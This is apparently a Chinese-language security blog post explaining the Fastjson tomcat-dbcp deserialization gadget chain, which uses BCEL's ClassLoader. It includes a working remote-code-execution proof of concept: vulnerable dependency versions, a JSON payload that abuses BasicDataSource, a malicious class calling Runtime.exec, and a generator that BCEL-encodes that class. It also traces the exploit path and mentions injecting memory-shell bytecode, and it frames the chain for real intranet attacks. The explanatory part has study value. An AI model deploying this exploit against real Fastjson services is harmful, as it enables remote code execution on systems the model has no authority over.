Fastjson tomcat-dbcp鏈
這條鏈可直接回顯,可以解決fastjson在內網的情況,因為很多實戰的時候,fastjson的應用部署在內網,只對映一個埠出來,導致前面學習的jdbcRowImpl鏈的jndi利用不了,而TemplatesImpl鏈又因為有利用條件,用parseObject()
方法時,需要加入Feature.SupportNonPublicField
引數,就有了大佬們使用tomcat-dhcp鏈,而tomcat-dbcp依賴又是資料庫依賴比較常見。而tomcat-dbcp是依賴$$BCEL$$的。
1、前置知識
1.1、BCEL
BCEL的全名應該是Apache Commons BCEL,屬於Apache Commons專案下的一個子專案。
BCEL庫提供了一系列用於分析、建立、修改Java Class檔案的API。
就這個庫的功能來看,其使用面遠不及同胞兄弟們,但是他比Commons Collections特殊的一點是,它被包含在了原生的JDK中,位於com.sun.org.apache.bce
。
我們來看看我們今天的主角com.sun.org.apache.bcel.internal.util.ClassLoader
,在jdk的rt.jar包裡面
我們來看loadClass這個方法,獲取class_name,判斷開頭是不是$$BCEL$$
,是就呼叫createClass(class_name),然後通過
classname獲取位元組碼,然後呼叫defineClass例項化我們的位元組碼。我們先看看createClass
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null;
......
if(cl == null) {
JavaClass clazz = null;
/* Third try: Special request?
*/
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
}
if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
}
if(resolve)
resolveClass(cl);
}
classes.put(class_name, cl);
return cl;
}
createClass這個類就是把$$BCEL$$後面的欄位賦值給real_name,然後通過Utility.decode將BCEL解碼成位元組碼,然後解析位元組碼程式設計類,返回這個類,所以createClass就是獲取class_name的$$BCEL$$的位元組碼轉換成類
protected JavaClass createClass(String class_name) {
int index = class_name.indexOf("$$BCEL$$");
String real_name = class_name.substring(index + 8);
JavaClass clazz = null;
try {
byte[] bytes = Utility.decode(real_name, true);
ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");
clazz = parser.parse();
} catch(Throwable e) {
e.printStackTrace();
return null;
}
// Adapt the class name to the passed value
ConstantPool cp = clazz.getConstantPool();
ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(),
Constants.CONSTANT_Class);
ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(),
Constants.CONSTANT_Utf8);
name.setBytes(class_name.replace('.', '/'));
return clazz;
}
還有有一個點就是com.sun.org.apache.bcel.internal.classfile.Utility
該類儲存了bcel的加解密方法
Utility.decode(String real_name, true)
Utility.encode(byte[] bytes,, true)
最後poc的構造
我們可以通過FastJson反序列化,反序列化生成一個 org.apache.tomcat.dbcp.dbcp2.BasicDataSource 物件,並將它的成員變數 classloader 賦值為 com.sun.org.apache.bcel.internal.util.ClassLoader 物件,將 classname 賦值為 經過BCEL編碼的位元組碼(假設對應的類為Evil.class),我們將需要執行的程式碼寫在 Evil.class 的 static 程式碼塊
2、POC分析
2.1、依賴
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
</dependencies>
2.2、poc
{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}
編寫惡意程式碼類,並且編譯成class檔案,既位元組碼形式
package com.akkacloud;
import java.io.IOException;
public class Calc {
public Calc() throws IOException {
Runtime.getRuntime().exec(" open /System/Applications/Calculator.app ");
}
}
package com.akkacloud;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.util.Arrays;
class fastjson_dbcp {
public static void main(String[] argv) throws Exception{
JavaClass cls = Repository.lookupClass(Calc.class);
//System.out.println(Arrays.toString(cls.getBytes()));
String code = Utility.encode(cls.getBytes(), true);//轉換為位元組碼並編碼為bcel位元組碼
System.out.println(code);
String poc = "{\n" +
" {\n" +
" \"aaa\": {\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \"$$BCEL$$"+ code+ "\"\n" +
" }\n" +
" }: \"bbb\"\n" +
"}";
System.out.println(poc);
JSON.parse(poc);
}
}
最後說一句對jdk版本有要求,jdk1.8u251前可以成功
2.3、利用鏈
BasicDataSource.getConnection()
createDataSource()
createConnectionFactory()
其實看到這個利用鏈,就知道傳入我們的BasicDataSource類,會自動呼叫getter和setter方法,然後呼叫getConnection方法。我們在
getConnection打斷點除錯一下,可以看到我們在BasicDataSource裡存入的惡意程式碼都已經存入,繼續跟createDataSource
跟進發現,會判斷dataSource是夠為空,然後呼叫createConnectionFactory(就是建立連結工廠方法),繼續跟進
到了這裡就很清楚了,通過class.forName方法,使用我們自定義的classloder(com.sun.org.apache.bcel.internal.util.ClassLoader),獲取該類
然後例項化該類,造成命令執行。
2.4、結束
舊版本的 tomcat-dbcp 對應的路徑是 org.apache.tomcat.dbcp.dbcp.BasicDataSource
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/dbcp -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>dbcp</artifactId>
<version>6.0.53</version>
</dependency>
Tomcat 8.0以後採用org.apache.tomcat.dbcp.dbcp2.BasicDataSource
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
我們可以通過傳入記憶體馬的Class位元組碼,達到回顯的目的
參考
https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html